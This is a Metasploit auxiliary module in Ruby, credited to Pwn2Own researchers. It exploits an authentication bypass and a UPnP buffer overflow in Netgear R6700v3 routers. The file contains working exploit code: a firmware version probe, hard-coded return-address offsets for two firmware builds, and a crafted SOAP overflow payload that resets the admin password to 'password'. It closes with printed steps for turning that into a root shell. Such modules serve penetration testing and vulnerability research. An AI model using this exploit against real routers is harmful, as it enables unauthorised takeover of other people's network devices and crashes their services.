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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Netgear R6700v3 Unauthenticated LAN Admin Password Reset',
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        'Description' => %q{
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          This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd),
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          on Netgear R6700v3 routers running firmware versions from V1.0.2.62 up to but not including V1.0.4.94, to reset
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          the password for the 'admin' user back to its factory default of 'password'. Authentication is bypassed by
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          using ZDI-20-703 (aka CVE-2020-10923), an authentication bypass that occurs when network adjacent
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          computers send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 router. Currently this module only
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          supports exploiting Netgear R6700v3 routers running either the V1.0.0.4.82_10.0.57 or V1.0.0.4.84_10.0.58
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          firmware, however support for other firmware versions may be added in the future.
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          Once the password has been reset, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a
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          special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can
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          then log into this telnet server using the new password, and obtain a shell as the "root" user.
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          These last two steps have to be done manually, as the authors did not reverse the communication with the web interface.
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          It should be noted that successful exploitation will result in the upnpd binary crashing on the target router.
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          As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit
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          this vulnerability once per reboot of the router.
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          This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
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          Radek Domanski).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Pedro Ribeiro <pedrib[at]gmail.com>', # Twitter: @pedrib1337. Vulnerability discovery and Metasploit module
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          'Radek Domanski <radek.domanski[at]gmail.com>', # Twitter: @RabbitPro. Vulnerability discovery and Metasploit module
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          'gwillcox-r7' # Minor general updates plus updated implementation of the check method to identify a wider range of vulnerable targets.
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        ],
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        'References' => [
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          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md'],
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          [ 'URL', 'https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders'],
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          [ 'CVE', '2020-10923'],
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          [ 'CVE', '2020-10924'],
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          [ 'ZDI', '20-703'],
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          [ 'ZDI', '20-704']
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        ],
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        # Note that reliability isn't included here, as technically the exploit can only
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        # only be run once, after which the service crashes.
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        'Notes' => {
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          'SideEffects' => [ CONFIG_CHANGES ], # This module will change the configuration by
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          # resetting the router to the default factory password.
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          'Stability' => [ CRASH_SERVICE_DOWN ], # This module will crash the target service after it is run.
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          'Reliability' => [],
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          'RelatedModules' => [ 'exploit/linux/telnet/netgear_telnetenable' ] # This module relies on users also running exploit/linux/telnet/netgear_telnetenable to get the shell.
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        },
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        'DisclosureDate' => '2020-06-15',
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        'DefaultTarget' => 0
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(5000)
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      ]
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    )
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  end
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  def retrieve_version
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    soap =
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      '<?xml version="1.0"?>'\
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      "\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
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      "\r\n<SOAP-ENV:Body>"\
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      "\r\nSetDeviceNameIconByMAC"\
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      "\r\n<NewBlockSiteName>1"\
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      "\r\n</NewBlockSiteName>"\
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      "\r\n</SOAP-ENV:Body>"\
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      "\r\n</SOAP-ENV:Envelope>"
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    # the GetInfo method will helpfully report the firmware version to an unauth request
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    headers = 'SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
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    res = send_request_cgi({
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      'uri' => '/soap/server_sa',
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      'method' => 'POST',
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      'raw_headers' => headers,
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      'data' => soap
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    })
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    if res.nil?
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      fail_with(Failure::Unreachable, "Failed to obtain device version: Target didn't respond")
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    elsif (res.body.to_s == '') || (res.code != 200)
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      fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: Unexpected response code')
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    end
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    version = res.body.to_s.scan(/V(\d\.\d\.\d\.\d{1,2})/).flatten.first # Try find a version number in the format V1.2.3.48 or similar.
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    if version.nil? # Check we actually got a result.
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      fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: no version number found in response') # Taken from https://stackoverflow.com/questions/4115115/extract-a-substring-from-a-string-in-ruby-using-a-regular-expression
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    end
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    Rex::Version.new(version) # Finally lets turn it into a Rex::Version object for later use in other parts of the code.
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  end
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  def check
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    target_version = retrieve_version
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    print_status("Target is running firmware version #{target_version}")
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    if (target_version < Rex::Version.new('1.0.4.94')) && (target_version >= Rex::Version.new('1.0.2.62'))
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      return Exploit::CheckCode::Appears
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def find_offset
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    target_version = retrieve_version
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    if target_version == Rex::Version.new('1.0.4.84')
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      print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.")
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      # this offset is where execution will jump to
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      # a part in the middle of the binary that resets the admin password
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      return "\x58\x9a\x03"
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    elsif target_version == Rex::Version.new('1.0.4.82')
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      print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.")
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      return "\x48\x9a\x03"
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    end
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  end
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  def run
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    offset = find_offset
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    if !offset
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      fail_with(Failure::NoTarget, 'Identified firmware version is not supported. Please contact the authors.')
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    end
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    headers =
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      "SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever"
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    payload =
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      '<?xml version="1.0"?>'\
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      "\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\
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      "\r\n<SOAP-ENV:Body>"\
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      "\r\nSetDeviceNameIconByMAC"\
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      "\r\n<NewBlockSiteName>1"
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    # filler
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    payload += Rex::Text.rand_text_alpha(1028)
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    # $r4
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    payload += Rex::Text.rand_text_alpha(4)
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    # $r5
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    payload += Rex::Text.rand_text_alpha(4)
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    # $r6
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    payload += Rex::Text.rand_text_alpha(4)
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    # $r7
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    payload += Rex::Text.rand_text_alpha(4)
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    # $r8
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    payload += Rex::Text.rand_text_alpha(4)
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    # $lr (AKA return address)
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    payload += offset
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    # trailer
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    payload +=
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      "\r\n</NewBlockSiteName>"\
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      "\r\n</SOAP-ENV:Body>"\
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      "\r\n</SOAP-ENV:Envelope>"
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    headers.gsub! "\n", "\r\n"
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    payload.gsub! "\n", "\r\n"
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    # MSF adds content len automatically.
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    # Unfortunately this appears before the raw headers hash, but doesn't appear to have ill effects
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    headers += "\r\n"
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    res = send_request_cgi({
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      'uri' => '/soap/server_sa',
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      'method' => 'POST',
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      'raw_headers' => headers,
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      'data' => payload
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    })
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    if res
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      # no response is received in case of success
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      fail_with(Failure::UnexpectedReply, 'Failed to send HTTP payload... try again?')
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    else
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      print_good("#{peer} - HTTP payload sent! 'admin' password has been reset to 'password'")
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      print_status('To achieve code execution, do the following steps manually:')
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      print_status("1- Login to #{rhost} with creds 'admin:password', then:")
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      print_status("\t1.1- go to Advanced -> Administration -> Set Password")
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      print_status("\t1.2- Change the password from 'password' to <WHATEVER>")
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      print_status('2- Run metasploit as root, then:')
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      print_status("\t2.1- use exploit/linux/telnet/netgear_telnetenable")
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      print_status("\t2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>")
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      print_status("\t2.3- set rhost #{rhost}")
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      print_status("\t2.3- set username admin")
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      print_status("\t2.4- set password <WHATEVER>")
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      print_status("\t2.5- OPTIONAL: set timeout 1500")
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      print_status("\t2.6- OPTIONAL: set MAC <ROUTERS_MAC>")
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      print_status("\t2.7- run it and login with 'admin:<WHATEVER>'")
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      print_status('3- Enjoy your root shell!')
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    end
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  end
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end
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